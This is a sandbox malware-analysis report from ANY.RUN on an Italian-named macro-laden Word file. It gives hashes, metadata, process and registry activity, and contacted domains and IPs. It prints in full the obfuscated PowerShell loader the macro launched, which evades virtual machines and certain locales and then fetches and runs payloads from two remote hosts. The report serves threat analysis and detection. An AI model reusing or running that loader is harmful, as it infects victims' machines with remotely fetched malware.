Malware analysis Avviso-78291.doc Malicious activity | ANY.RUN

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File name:	Avviso-78291.doc
Full analysis:	https://app.any.run/tasks/e7155ec1-9ff2-4439-a03e-467e654b4e1a
Verdict:	Malicious activity
Analysis date:	September 11, 2019, 12:03:05
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open maldoc-4
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Administrator, Template: Normal.dotm, Last Saved By: Administrator, Revision Number: 8, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Create Time/Date: Sun Sep 8 16:10:00 2019, Last Saved Time/Date: Sun Sep 8 19:16:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:	1BF62E899C6D2C3FF427C8ED6DBFCC48
SHA1:	4A87DB7669F4700FCD6127F3D9906BA389AB3BE1
SHA256:	3796C0F937BEE2199E72A3CAACD80C625393C64218B8610361A94D4AA1E2B148
SSDEEP:	1536:qC3hskRSSuclIyTPHkDD+WZbS+a92h3fmz:qIRSSuclIyoDD/J

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 68.0.1 (x86 en-US) (68.0.1)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 2852)
- Executes PowerShell scripts
  - WINWORD.EXE (PID: 2852)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 2244)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 2852)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2852)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	Administrator
Keywords:	-
Comments:	-
Template:	Normal.dotm
LastModifiedBy:	Administrator
RevisionNumber:	8
Software:	Microsoft Office Word
TotalEditTime:	21.0 minutes
CreateDate:	2019:09:08 15:10:00
ModifyDate:	2019:09:08 18:16:00
Pages:	1
Words:	-
Characters:	1
Security:	None
CodePage:	Windows Latin 1 (Western European)
Company:	-
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	1
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Title 1
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2244

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'O2lmKCgoR2V0LVVJQ3VsdHVyZSkuTmFtZSAtbWF0Y2ggIkNOfFJPfFJVfFVBfEJZIikgLW9yICgoR2V0LVdtaU9iamVjdCAtY2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW0gLVByb3BlcnR5IE1vZGVsKS5Nb2RlbCAtbWF0Y2ggIlZpcnR1YWxCb3h8Vk13YXJlfEtWTXxIVk0iKSl7ZXhpdDt9OyRhPUpvaW4tUGF0aCAkZW52OlB1YmxpYyAiXExpYnJhcmllc1xXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLmpzIjskYj1Kb2luLVBhdGggJGVudjp0ZW1wICJBZG9iZUFSLmV4ZSI7dHJ5eyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovL3Nlci5qb25uYWxiYW5kaWFuLmNvbS9sYXN0dXBkYXRlLnppcD9jY3doZyIsJGIpOyBTdGFydC1Qcm9jZXNzICRiO31jYXRjaHt9Ozt0cnl7KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoImh0dHA6Ly93d3MuY2hyaXN0aW5lZGF2aWVzLmJpei8/cGFnZT1yaW5nJnZpZD1waXQ3JnRlZ3pqIil8b3V0LWZpbGUgJGE7U3RhcnQtUHJvY2VzcyAkYTt9Y2F0Y2h7fTs=' ) );iex $a;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WINWORD.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2852

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Avviso-78291.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

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Total events

1 334

Read events

939

Write events

390

Delete events

Modification events


(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	\|o!
Value: 7C6F2100240B0000010000000000000000000000
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1328218142
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1328218256
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1328218257
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 240B0000A026DEEB9868D50100000000
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	hs!
Value: 68732100240B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	hs!
Value: 68732100240B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(2852) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2852	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRA7FC.tmp.cvr		—
		MD5:—	SHA256:—
2244	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8NUTB7FIBHS1ZZ76RNCM.temp		—
		MD5:—	SHA256:—
2852	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
2244	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2852	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$viso-78291.doc		pgc
		MD5:—	SHA256:—
2244	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF16b78d.TMP		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2244	powershell.exe	GET	—	31.214.157.93:80	http://wws.christinedavies.biz/?page=ring&vid=pit7&tegzj	NL	—	—	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2244	powershell.exe	31.214.157.93:80	wws.christinedavies.biz	easystores GmbH	NL	unknown
2244	powershell.exe	185.158.248.239:80	ser.jonnalbandian.com	M247 Ltd	RO	unknown

DNS requests

Domain	IP	Reputation
ser.jonnalbandian.com	185.158.248.239	unknown
dns.msftncsi.com	131.107.255.255	shared
wws.christinedavies.biz	31.214.157.93	malicious

Threats

PID	Process	Class	Message
1060	svchost.exe	Potentially Bad Traffic	ET INFO Observed DNS Query to .biz TLD

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No debug info

General Info

Avviso-78291.doc

1BF62E899C6D2C3FF427C8ED6DBFCC48

4A87DB7669F4700FCD6127F3D9906BA389AB3BE1

3796C0F937BEE2199E72A3CAACD80C625393C64218B8610361A94D4AA1E2B148

1536:qC3hskRSSuclIyTPHkDD+WZbS+a92h3fmz:qIRSSuclIyoDD/J

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Executes PowerShell scripts

SUSPICIOUS

Creates files in the user directory

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings